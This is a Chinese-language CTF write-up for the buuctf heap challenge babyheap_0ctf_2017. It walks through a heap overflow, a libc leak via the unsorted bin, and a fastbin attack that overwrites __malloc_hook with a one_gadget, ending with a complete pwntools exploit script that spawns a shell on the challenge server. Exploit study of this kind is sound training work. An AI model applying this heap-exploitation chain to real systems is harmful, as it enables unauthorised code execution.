Pwn buuctf 合集
堆
7※ babyheap_0ctf_2017
-
checksec 检查保护,保护全开:
-
buuctf 上没给 libc,根据 writeup 得知赛时是 libc 2.23,那么这个版本没有 tcache 结构,堆地址从 0x00 开始分配。
-
菜单题目依次检查各功能,简单逆向一下:
-
在 Add 中发现使用 calloc 会清空,且只能控制申请大小:
-
在 Edit 中发现存在堆溢出,没有检查 size 大小:
-
在 Del 里会清空指针:
-
由于我们需要泄露 libc 地址,利用 unsorted bin 的双向链表特性,在 unsorted bin 内只有一个堆块时,其 fd 和 bk 指针都为 top chunk 的指针地址。而这个指针保存在 main_arena 的 0x58 偏移处,而 main_arena 又在 libc库 中,可以知道其对于 libc_base 的偏移量,那么就可以计算出 libc 的基地址了。
-
由于本题没有 UAF 漏洞,我们需要想办法使两个指针指向同一个 chunk 实现 UAF,采用堆溢出。
-
原理如下:
1.申请 5 个大小相同的 fastbin 堆,编号 chunk0 - chunk4;
2.依次释放 chunk1,chunk2,此时 chunk2 的 fd 指针指向 chunk1;
3.通过 chunk0 堆溢出修改 chunk2 的 fd 为 chunk4(只需要修改末位);
4.依次申请两个堆,此时第二个堆便会是 chunk4,那么就有两个指针指向同一个堆可以实现 UAF。
-
由于我们要 UAF 一个 unsorted bin 里的堆,所以 chunk4 申请为 0x88,然后再申请一个 chunk5 防止 chunk4 释放后向下合并入 top chunk。
-
由于 fastbin 的申请时只检查 目标块的大小 和 目标块的下一块的是否标志为 pre_inuse,那么我们在之前的第四步之前通过堆溢出 chunk3 来修改 chunk4 的大小为相同的 进入 fastbin 的 0x21(1 为 pre_inuse),然后就可以实现 UAF 了:
Add(0x18) #0 用来溢出 chunk2 Add(0x18) #1 Add(0x18) #2 Add(0x18) #3 用来溢出 chunk4 Add(0x88) #4 Add(0x18) #5 防止向下合并 Del(1) Del(2) py = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80) Edit(0,py) py = p64(0)*3 + p64(0x21) Edit(3,py) Add(0x18) #1 原2 Add(0x18) #2 原4,此时 2 里面保存着 chunk4 的指针
-
然后我们再次通过堆溢出 chunk3 将 chunk4 改回 0x91 的大小,将其释放进入 unsorted bin,就可以通过 Show(2) 来输出 chunk4 的 fd 指针,就可以泄露 libc 了:
py = p64(0)*3 + p64(0x91) Edit(3,py) Del(4) # chunk4 进入 unsorted bin Show(2)
-
接着正常流程是通过动态调试算出这个泄露的地址与 libc_base 的偏移量,然后将这个地址减去偏移量算出 libc_base,但是 buuctf 上没给 libc 和 ld 库,我们在知道是 libc 2.23 后可以记住,这个版本的该地址存在 main_arena 结构体的
0x58
偏移位置,而 main_arena 与 libc_base 的偏移量为0x3c4b20
,malloc_hook 与 libc_base 的偏移量为0x3c4b10
,one_gadget 与 libc 的偏移量为0x4526a
:main_arena_delta = 0x3c4b20 malloc_hook_delta = 0x3c4b10 one_gadget_delta = 0x4526a libc_base = uu64() - main_arena_delta - 0x58 malloc_hook = libc_base + malloc_hook_delta one_gadget = libc_base + one_gadget_delta print(hex(libc_base)) print(hex(malloc_hook)) print(hex(one_gadget))
-
由于 malloc_hook 前面会有一个指针地址以 0x7f 开头,那么可以用来伪装成大小为 0x70 的堆,所以我们只需要让 chunk4 为 0x70 大小的堆进入 fastbin,然后通过 chunk2 来 UAF 在 malloc_hook 前申请一个堆,就可以修改 malloc_hook 了:
Add(0x68) #4 0x70 的 fastbin,malloc_hook 前有 0x7f 的数据,可以伪装大小为 0x70 的堆,需要 Add(0x60-0x6f) Del(4) # 进入 fastbin py = p64(malloc_hook-0x23) Edit(2,py) # UAF 修改 4 的 fd 指针 Add(0x68) #4 Add(0x68) #6 malloc_hook - 0x23
-
然后就可以修改 malloc_hook 为 one_gadget 了,接着随便 Add 以下即可触发 malloc_hook 即触发 one_gadget:
py = b'a' * 0x13 + p64(one_gadget) Edit(6,py) # malloc_hook = one_gadget Add(0x48) # one_gadget
-
完整 exp:
# -*- coding: utf-8 -*- from ctypes import * from time import * import tqdm from LibcSearcher import LibcSearcher from cryptography.utils import int_to_bytes from pwn import * from sympy.abc import delta # context.terminal = ['tmux','splitw','-h'] # context(log_level = "debug",arch = "amd64",os = 'linux') # context(arch = "i386",os = 'linux') context(arch = "amd64",os = 'linux') ip = 'node5.buuoj.cn'; port = '25602' # patchelf --set-interpreter ./xxxxld ./1 # patchelf --replace-needed libc.so.6 ./xxxxlibc ./1 def connect(): global p,elf,libc,libclib,libc_name,file_name,ld,ld_name file_name = './babyheap_0ctf_2017' # ld_name = './ld-2.31.so' local = 0 if local: # p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name}) # libc_name = './libc-2.31.so' # libclib = cdll.LoadLibrary('./libc-2.31.so') p = process(file_name) else: # libc_name = 'libc-2.31.so' # libclib = cdll.LoadLibrary('./libc-2.31.so') p = remote(ip,port) elf = ELF(file_name) # ld = ELF(ld_name) # libc = ELF(libc_name) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda n :p.recv(n) rl = lambda n :p.recvline(n) ru = lambda x :p.recvuntil(x) rud = lambda x :p.recvuntil(x, drop = True) uu64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) ita = lambda :p.interactive() leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) lg = lambda address,data :log.success('%s: '%(address)+hex(data)) pad = lambda *args :bytes.join(b'',[p64(x) for x in args]) def db(): gdb.attach(p) def cmd(idx): sla(b'Command: ',str(idx).encode()) def Add(size): cmd(1) sla(b'Size: ',str(size).encode()) def Show(idx): cmd(4) sla(b'',str(idx).encode()) def Edit(idx,content): cmd(2) sla(b'',str(idx).encode()) sla(b'',str(len(content)).encode()) sa(b'',content) def Del(idx): cmd(3) sla(b'',str(idx).encode()) # ropper --file 1 --search "pop|ret" | grep "rdi" # ropper --file 1 --search "ret" def pwn(): Add(0x18) #0 用来溢出 chunk2 Add(0x18) #1 Add(0x18) #2 Add(0x18) #3 用来溢出 chunk4 Add(0x88) #4 Add(0x18) #5 防止向下合并 Del(1) Del(2) py = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80) Edit(0,py) py = p64(0)*3 + p64(0x21) Edit(3,py) Add(0x18) #1 原2 Add(0x18) #2 原4,此时 2 里面保存着 4 的指针 py = p64(0)*3 + p64(0x91) Edit(3,py) Del(4) # chunk4 进入 unsorted bin Show(2) # db() # 动态调试出 保存在 0x58 的位置,这是 libc 2.23 的保存位置 main_arena_delta = 0x3c4b20 malloc_hook_delta = 0x3c4b10 one_gadget_delta = 0x4526a libc_base = uu64() - main_arena_delta - 0x58 malloc_hook = libc_base + malloc_hook_delta one_gadget = libc_base + one_gadget_delta print(hex(libc_base)) print(hex(malloc_hook)) print(hex(one_gadget)) Add(0x68) #4 0x70 的 fastbin,malloc_hook 前需要伪装 0x70 大小的堆 Del(4) # 进入 fastbin py = p64(malloc_hook-0x23) Edit(2,py) # fastbin attack 修改 4 Add(0x68) #4 malloc_hook 前有 0x7f 的数据,可以伪装大小为 0x70 的堆,需要 Add(0x60-0x6f) Add(0x68) #6 malloc_hook - 0x23 py = b'a' * 0x13 + p64(one_gadget) Edit(6,py) # malloc_hook = one_gadget Add(0x48) # one_gadget p.interactive() connect() pwn()
-
参考文章:babyheap_0ctf_2017